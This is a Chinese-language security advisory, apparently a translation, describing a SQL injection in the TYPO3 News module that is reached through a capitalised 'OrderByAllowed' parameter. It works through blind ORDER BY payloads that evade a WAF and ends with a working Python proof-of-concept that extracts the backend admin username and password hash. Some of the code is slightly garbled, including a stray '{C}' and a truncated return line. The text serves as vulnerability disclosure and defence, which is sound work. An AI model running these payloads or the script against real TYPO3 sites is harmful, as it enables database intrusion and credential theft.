簡介
News module是TYPO3中20種最常用的模塊之一,爆出存在SQL注入漏洞。盡管作者已經(jīng)在4個月中多次聯(lián)系廠商,然而至今沒有發(fā)布修復方案。只有當模塊參數(shù)overrideDemand設置為1時漏洞才可用,然而該參數(shù)默認值就為1。

描述
該模塊是MVC架構(gòu)中的一個部分。 作為用戶,你可以列舉以及讀取新聞。該模塊允許自定義條件來過濾新聞,例如作者,類別,發(fā)布日期等。以下為NewsController.php中的代碼片段,已加上注釋供參考理解:
class NewsController
{
# 用戶無法設置的參數(shù)列表
protected $ignoredSettingsForOverride = ['demandClass', 'orderByAllowed'];
# 這是我們的入口點
# 僅有的$overwriteDemand參數(shù)通過POST方式傳輸
public function listAction(array $overwriteDemand = null)
{
# 使用默認設置對一個Demand對象進行初始化
$demand = $this->createDemandObjectFromSettings($this->settings);
# 從$overwriteDemand獲取用戶設置進行初始化
$demand = $this->overwriteDemandObject($demand, $overwriteDemand);
# 從Demand對象構(gòu)建一個SQL查詢并運行
$newsRecords = $this->newsRepository->findDemanded($demand);
# 顯示結(jié)果
$this->view->display($newsRecords);
}
protected function overwriteDemandObject($demand, $overwriteDemand)
{
# 用戶不能設置的一些值:它們已被移除
foreach ($this->ignoredSettingsForOverride as $property) {
unset($overwriteDemand[$property]);
}
# 調(diào)用set($value)對經(jīng)過篩選的參數(shù)進行賦值
foreach ($overwriteDemand as $propertyName => $propertyValue) {
$methodName = 'set' . ucfirst($propertyName);
if(is_callable($demand, $setterMethodName))
$demand->{$setterMethodName}($propertyValue);
}
return $demand;
}
之后使用創(chuàng)建的Demand對象參數(shù)用以構(gòu)建SQL查詢,例如,將作者設為條件進行查詢:
WHERE author='{$demand->getAuthor()}'
漏洞
所有的屬性都可能是潛在的SQL注入向量。以下為可能滿足條件的完整列表:
function setArchiveRestriction($archiveRestriction)
public function setCategories($categories)
public function setCategoryConjunction($categoryConjunction)
public function setIncludeSubCategories($includeSubCategories)
public function setAuthor($author)
public function setTags($tags)
public function setTimeRestriction($timeRestriction)
public function setTimeRestrictionHigh($timeRestrictionHigh)
public function setOrder($order)
public function setOrderByAllowed($orderByAllowed)
public function setTopNewsFirst($topNewsFirst)
public function setSearchFields($searchFields)
public function setTopNewsRestriction($topNewsRestriction)
public function setStoragePage($storagePage)
public function setDay($day)
public function setMonth($month)
public function setYear($year)
public function setLimit($limit)
public function setOffset($offset)
public function setDateField($dateField)
public function setSearch($search = null)
public function setExcludeAlreadyDisplayedNews($excludeAlreadyDisplayedNews)
public function setHideIdList($hideIdList)
public function setAction($action)
public function setClass($class)
public function setActionAndClass($action, $controller)
其中一些看來非常有趣,在SQL查詢中它們不包含引號;limit,offset以及order似乎可以利用。不幸的是,前兩個會被過濾轉(zhuǎn)換成整型數(shù)據(jù)。
還好最后一個order,通過白名單進行了過濾,而該白名單包含在另一個參數(shù)orderByAllowed中:
if (Validation::isValidOrdering($demand->getOrder(), $demand->getOrderByAllowed())) {
$order_by_field = $demand->getOrder();} else {
# 默認
$order_by_field = 'id';}
因為通過POST方式向orderByAllowed和orderBy發(fā)送數(shù)據(jù),所以我們將能夠控制SQL語句的一部分,之后得到一個注入點。
事實是我們又遇到攔路虎了:orderByAllowed是被列入的黑名單參數(shù)(不能通過POST來設置):
protected function overwriteDemandObject($demand, $overwriteDemand){
# 用戶不能設置的一些值:它們已被移除
foreach ($this->ignoredSettingsForOverride as $property) {
unset($overwriteDemand[$property]);
}
# 調(diào)用set($value)對經(jīng)過篩選的參數(shù)進行賦值
foreach ($overwriteDemand as $propertyName => $propertyValue) {
$methodName = 'set' . ucfirst($propertyName);
if(is_callable($demand, $setterMethodName))
$subject->{$setterMethodName}($propertyValue);
}
return $demand;}
為了調(diào)用setter,該模塊將給定參數(shù)的首字母大寫化以繞過unset()過濾器:通過發(fā)送替換為大寫字母O的OrderByAllowed,它不會再被刪掉,另外setOrderByAllowed()也能成功調(diào)用。
現(xiàn)在可以定義我們自己的orderbyallowed:我們已完全控制order語句,成功獲得一個SQL注入。
利用
由于我們需要在MySQL上的利用ORDER BY語句,因此我們的payload可以這樣構(gòu)造:
IF(
(
ORD(SUBSTRING(
(SELECT password FROM be_user WHERE id=1), 4, 1)
)) = 0x41
),
id,
title
)
根據(jù)測試的結(jié)果,新聞排序?qū)l(fā)生改變,這就使得我們能執(zhí)行SQL注入。
由于應用程序邏輯和WAF過濾器,為了能夠利用該SQL注入,我們需要繞過一些限制。
非法字符:
任何大寫字母
任何空格
逗號
SQL注釋(WAF限制)
此外,表名是payload的前綴,SQL查詢語句如下所示:
SELECT ... FROM ... ORDER BY tx_news_model_domain_news.$order
由于SQL對大小寫不敏感,所以第一個問題不用管。 之后的注釋,我們可以通過使用括號語法來繞過,比如:
..(SELECT(password)FROM(be_users)WHERE(id=1))...
逗號有點煩人,但MySQL提供了一些替代語法,例如SUBSTRING(x FROM y FOR z)用來替代SUBSTRING(x, y, z)以及用(CASE condition WHEN 1 THEN x ELSE y END)替代IF(condition,x,y)。解決了非法字符的問題,我們現(xiàn)在可以專注于解決前綴的問題。我們選取一個數(shù)值字段,而不是兩個字段。根據(jù)條件將其乘以1或-1,如下:
uid * (CASE condition WHEN 1 THEN 1 ELSE -1 END)
如果條件(condition)為真,新聞將按照uid排序。否則,它們會以-uid進行排序,即它們按相反的順序顯示。
最終我們的payload如下:
id*(case(ord(substring((select(password)from(be_users)where(uid=1))from(2)for(1))))when(48)then(1)else(-1)end)
現(xiàn)在我們滿足進行盲注的所有條件。默認情況下,會話是IP專用,也就是說我們無法使用它們進行賬戶劫持,需要我們進行下載并對密碼hash進行暴力破解。
補丁
最好的方法是通過將overrideDemand的參數(shù)設置為0來阻止用戶更改需求參數(shù)。另一種方法是阻止從GET以及POST請求中包含OrderByAllowed的所有case-variation和URL-encoding鍵值。
時間線
2017-01-05發(fā)送電子郵件到TYPO3的安全團隊,報告通過DateField就可以漏洞利用(相同的向量,利用相對更容易)
2017-01-20漏洞被發(fā)現(xiàn),TYPO3表示已經(jīng)修補
2017-01-25報告了通過OrderByAllowed可以進行漏洞利用
2017-04-05多次嘗試后仍然沒有回答
POC
#!/usr/bin/python3
# TYPO3 News Module SQL Injection Exploit
# https://www.ambionics.io/blog/typo3-news-module-sqli
# cf
#
# The injection algorithm is not optimized, this is just meant to be a POC.
#
import requests
import string
session = requests.Session()
session.proxies = {'http': 'localhost:8080'}
# Change this

URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1'
PATTERN0 = 'Article #1'
PATTERN1 = 'Article #2'
FULL_CHARSET = string.ascii_letters + string.digits + '$./'
def blind(field, table, condition, charset):
# We add 9 so that the result has two digits
# If the length is superior to 100-9 it won't work
size = blind_size(
'length(%s)+9' % field, table, condition,
2, string.digits
)
size = int(size) - 9
{C} data = blind_size(
field, table, condition,
size, charset
)
return data
def select_position(field, table, condition, position, char):
payload = 'select(%s)from(%s)where(%s)' % (
field, table, condition
)
payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position)
payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % (
payload, ord(char)
)
return payload
def blind_size(field, table, condition, size, charset):
string = ''
for position in range(size):
for char in charset:
payload = select_position(field, table, condition, position+1, char)
if test(payload):
string += char
print(string)
break
else:
raise ValueError('Char was not found')
return string
def test(payload):
response = session.post(
URL,
data=data(payload)
)
response = response.text
return response.index(PATTERN0) def data(payload):
return {
'tx_news_pi1[overwriteDemand][order]': payload,
'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload,
'tx_news_pi1[search][subject]': '',
'tx_news_pi1[search][minimumDate]': '2016-01-01',
'tx_news_pi1[search][maximumDate]': '2016-12-31',
}
# Exploit
print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters))
print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET))
|